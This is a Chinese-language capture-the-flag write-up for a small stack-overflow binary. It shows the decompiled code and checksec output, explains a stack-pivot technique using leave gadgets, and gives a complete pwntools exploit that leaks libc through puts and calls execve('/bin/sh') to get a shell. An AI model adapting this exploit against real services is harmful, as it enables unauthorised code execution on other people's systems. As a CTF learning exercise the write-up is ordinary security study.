题目链接 找不到了
先用ida分析一下
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( sub_400676() )
;
return 0LL;
}
int sub_400676()
{
char buf; // [rsp+0h] [rbp-50h]
memset(&buf, 0, 0x50uLL);
putchar(62);
read(0, &buf, 0x60uLL);
return puts(&buf);
}
checksec
[*] '/home/hu/\xe6\x96\x87\xe6\xa1\xa3/over/over.over'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以看出这个程序读入最大的长度为0x60,而栈长度为0x50,所以我们最多可以覆盖到rbp 和 ret addr,无法在ret后的地址构造rop chain,所以我们rop chain放在栈上 0x50,重点要控制住rsp,使得rsp能够转移到rbp-0x50处。
- 泄露栈地址
- 算出sub_400676_ebp - 0x50
- 找到gadget --> leave == mov rsp , rbp ;pop rbp
- 调用两次leave,使得rsp跳到 sub_400676_ebp - 0x50 处
- 执行rop chain
exp如下
from pwn import *
context.binary = "./over.over"
def DEBUG(cmd):
raw_input("DEBUG: ")
gdb.attach(io, cmd)
io = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc
io.sendafter(">", 'a' * 80)
stack = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70 #泄露rbp,同时算出stack=sub_400676_rbp- 0x50
success("stack -> {:#x}".format(stack))
# 之所以 -0x70 是因为 rbp里面存的是 main的rbp,stacke=sub_400676_rbp-0x50=(main_rbp-0x20)-0x50
'''
ROPgadget --binary ./over.over --only "|pop|ret"
Gadgets information
============================================================
0x0000000000400793 : pop rdi ; ret
'''
pop_rdi_ret=0x400793
# leave 0x4006be
io.sendafter(">", flat(['99999999', pop_rdi_ret, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be]))#第一个元素可以随便填,因为再次调用sub_400676时会再次把rbp覆盖不影响rsp的方向
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']
success("libc.address -> {:#x}".format(libc.address))
'''
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
Gadgets information
============================================================
0x00000000001306d9 : pop rdx ; pop rsi ; ret
'''
pop_rdx_pop_rsi_ret=libc.address+0x00000000001306d9
success("pop_rdx_pop_rsi_ret->{:#x}".format(pop_rdx_pop_rsi_ret))
payload=flat(['88888888', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8 ) * '2', stack - 0x30, 0x4006be])
#执行到这一步的时0x30=sub_400676_rbp-rsp
io.sendafter(">", payload)
io.interactive()